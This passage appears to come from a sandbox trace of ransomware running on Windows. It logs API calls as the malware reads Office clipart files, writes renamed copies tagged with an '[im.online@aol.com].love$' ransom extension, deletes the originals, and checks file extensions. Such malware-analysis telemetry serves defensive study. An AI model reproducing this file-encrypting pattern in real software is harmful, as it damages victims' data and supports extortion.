Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.196] GetLastError () returned 0x0 [0262.196] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x8a12, lpOverlapped=0x0) returned 1 [0262.201] WriteFile (in: hFile=0x42c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x8a20, lpOverlapped=0x0) returned 1 [0262.204] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.205] WriteFile (in: hFile=0x42c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.205] SetEndOfFile (hFile=0x42c) returned 1 [0262.205] CloseHandle (hObject=0x42c) returned 1 [0262.205] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.206] SetEndOfFile (hFile=0x4c8) returned 1 [0262.211] CloseHandle (hObject=0x4c8) returned 1 [0262.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0262.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0262.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0262.214] lstrlenW (lpString=".doc") returned 4 [0262.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.214] lstrlenW (lpString=".docx") returned 5 [0262.215] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.215] lstrlenW (lpString=".pdf") returned 4 [0262.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.215] lstrlenW (lpString=".xls") returned 4 [0262.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.215] lstrlenW (lpString=".xlsx") returned 5 [0262.215] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.215] lstrlenW (lpString=".ppt") returned 4 [0262.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0262.215] lstrlenW (lpString=".zip") returned 4 [0262.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.216] lstrlenW (lpString=".rar") returned 4 [0262.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.216] lstrlenW (lpString=".bz2") returned 4 [0262.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.216] lstrlenW (lpString=".7z") returned 3 [0262.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0262.216] lstrlenW (lpString=".dbf") returned 4 [0262.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0262.216] lstrlenW (lpString=".1cd") returned 4 [0262.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0262.216] lstrlenW (lpString=".jpg") returned 4 [0262.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0262.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0262.217] lstrlenW (lpString=".doc") returned 4 [0262.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.217] lstrlenW (lpString=".docx") returned 5 [0262.217] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.217] lstrlenW (lpString=".pdf") returned 4 [0262.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.217] lstrlenW (lpString=".xls") returned 4 [0262.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.217] lstrlenW (lpString=".xlsx") returned 5 [0262.217] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.217] lstrlenW (lpString=".ppt") returned 4 [0262.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0262.217] lstrlenW (lpString=".zip") returned 4 [0262.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.218] lstrlenW (lpString=".rar") returned 4 [0262.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.218] lstrlenW (lpString=".bz2") returned 4 [0262.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.218] lstrlenW (lpString=".7z") returned 3 [0262.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0262.218] lstrlenW (lpString=".dbf") returned 4 [0262.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0262.218] lstrlenW (lpString=".1cd") returned 4 [0262.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0262.218] lstrlenW (lpString=".jpg") returned 4 [0262.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.219] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0262.219] lstrlenW (lpString="J0090087.WMF") returned 12 [0262.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.221] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=46936) returned 1 [0262.221] CloseHandle (hObject=0x4c8) returned 1 [0262.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220 [0262.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.223] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.223] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.225] GetLastError () returned 0x0 [0262.225] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xb758, lpOverlapped=0x0) returned 1 [0262.262] WriteFile (in: hFile=0x42c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xb760, lpOverlapped=0x0) returned 1 [0262.264] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.265] WriteFile (in: hFile=0x42c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.265] SetEndOfFile (hFile=0x42c) returned 1 [0262.265] CloseHandle (hObject=0x42c) returned 1 [0262.265] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.266] SetEndOfFile (hFile=0x4c8) returned 1 [0262.271] CloseHandle (hObject=0x4c8) returned 1 [0262.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0262.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0262.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0262.741] lstrlenW (lpString=".doc") returned 4 [0262.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.741] lstrlenW (lpString=".docx") returned 5 [0262.741] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0262.741] lstrlenW (lpString=".pdf") returned 4 [0262.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.741] lstrlenW (lpString=".xls") returned 4 [0262.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.741] lstrlenW (lpString=".xlsx") returned 5 [0262.741] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0262.741] lstrlenW (lpString=".ppt") returned 4 [0262.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0262.741] lstrlenW (lpString=".zip") returned 4 [0262.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.741] lstrlenW (lpString=".rar") returned 4 [0262.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.742] lstrlenW (lpString=".bz2") returned 4 [0262.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.742] lstrlenW (lpString=".7z") returned 3 [0262.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0262.742] lstrlenW (lpString=".dbf") returned 4 [0262.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0262.742] lstrlenW (lpString=".1cd") returned 4 [0262.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0262.742] lstrlenW (lpString=".jpg") returned 4 [0262.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0262.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0262.742] lstrlenW (lpString=".doc") returned 4 [0262.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.742] lstrlenW (lpString=".docx") returned 5 [0262.742] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0262.742] lstrlenW (lpString=".pdf") returned 4 [0262.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.742] lstrlenW (lpString=".xls") returned 4 [0262.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.742] lstrlenW (lpString=".xlsx") returned 5 [0262.742] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0262.742] lstrlenW (lpString=".ppt") returned 4 [0262.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0262.743] lstrlenW (lpString=".zip") returned 4 [0262.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.743] lstrlenW (lpString=".rar") returned 4 [0262.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.743] lstrlenW (lpString=".bz2") returned 4 [0262.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.743] lstrlenW (lpString=".7z") returned 3 [0262.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0262.743] lstrlenW (lpString=".dbf") returned 4 [0262.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0262.743] lstrlenW (lpString=".1cd") returned 4 [0262.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0262.744] lstrlenW (lpString=".jpg") returned 4 [0262.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.744] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0262.744] lstrlenW (lpString="J0090777.WMF") returned 12 [0262.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.747] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3332) returned 1 [0262.747] CloseHandle (hObject=0x550) returned 1 [0262.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220 [0262.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.748] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.748] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.751] GetLastError () returned 0x0 [0262.751] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xd04, lpOverlapped=0x0) returned 1 [0262.754] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xd10, lpOverlapped=0x0) returned 1 [0262.755] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.756] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.756] SetEndOfFile (hFile=0x4c8) returned 1 [0262.756] CloseHandle (hObject=0x4c8) returned 1 [0262.756] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.756] SetEndOfFile (hFile=0x550) returned 1 [0262.767] CloseHandle (hObject=0x550) returned 1 [0262.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0262.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0262.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0262.770] lstrlenW (lpString=".doc") returned 4 [0262.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.770] lstrlenW (lpString=".docx") returned 5 [0262.770] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0262.770] lstrlenW (lpString=".pdf") returned 4 [0262.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.770] lstrlenW (lpString=".xls") returned 4 [0262.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.770] lstrlenW (lpString=".xlsx") returned 5 [0262.770] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0262.770] lstrlenW (lpString=".ppt") returned 4 [0262.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0262.771] lstrlenW (lpString=".zip") returned 4 [0262.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.771] lstrlenW (lpString=".rar") returned 4 [0262.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.771] lstrlenW (lpString=".bz2") returned 4 [0262.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.771] lstrlenW (lpString=".7z") returned 3 [0262.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0262.771] lstrlenW (lpString=".dbf") returned 4 [0262.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0262.771] lstrlenW (lpString=".1cd") returned 4 [0262.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0262.771] lstrlenW (lpString=".jpg") returned 4 [0262.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0262.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0262.771] lstrlenW (lpString=".doc") returned 4 [0262.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.771] lstrlenW (lpString=".docx") returned 5 [0262.772] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0262.772] lstrlenW (lpString=".pdf") returned 4 [0262.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.772] lstrlenW (lpString=".xls") returned 4 [0262.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.772] lstrlenW (lpString=".xlsx") returned 5 [0262.772] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0262.772] lstrlenW (lpString=".ppt") returned 4 [0262.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0262.772] lstrlenW (lpString=".zip") returned 4 [0262.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.772] lstrlenW (lpString=".rar") returned 4 [0262.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.772] lstrlenW (lpString=".bz2") returned 4 [0262.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.773] lstrlenW (lpString=".7z") returned 3 [0262.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0262.773] lstrlenW (lpString=".dbf") returned 4 [0262.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0262.773] lstrlenW (lpString=".1cd") returned 4 [0262.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0262.773] lstrlenW (lpString=".jpg") returned 4 [0262.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.773] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0262.774] lstrlenW (lpString="J0090779.WMF") returned 12 [0262.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.776] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1456) returned 1 [0262.776] CloseHandle (hObject=0x550) returned 1 [0262.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220 [0262.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0262.777] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.777] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.778] GetLastError () returned 0x0 [0262.779] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, 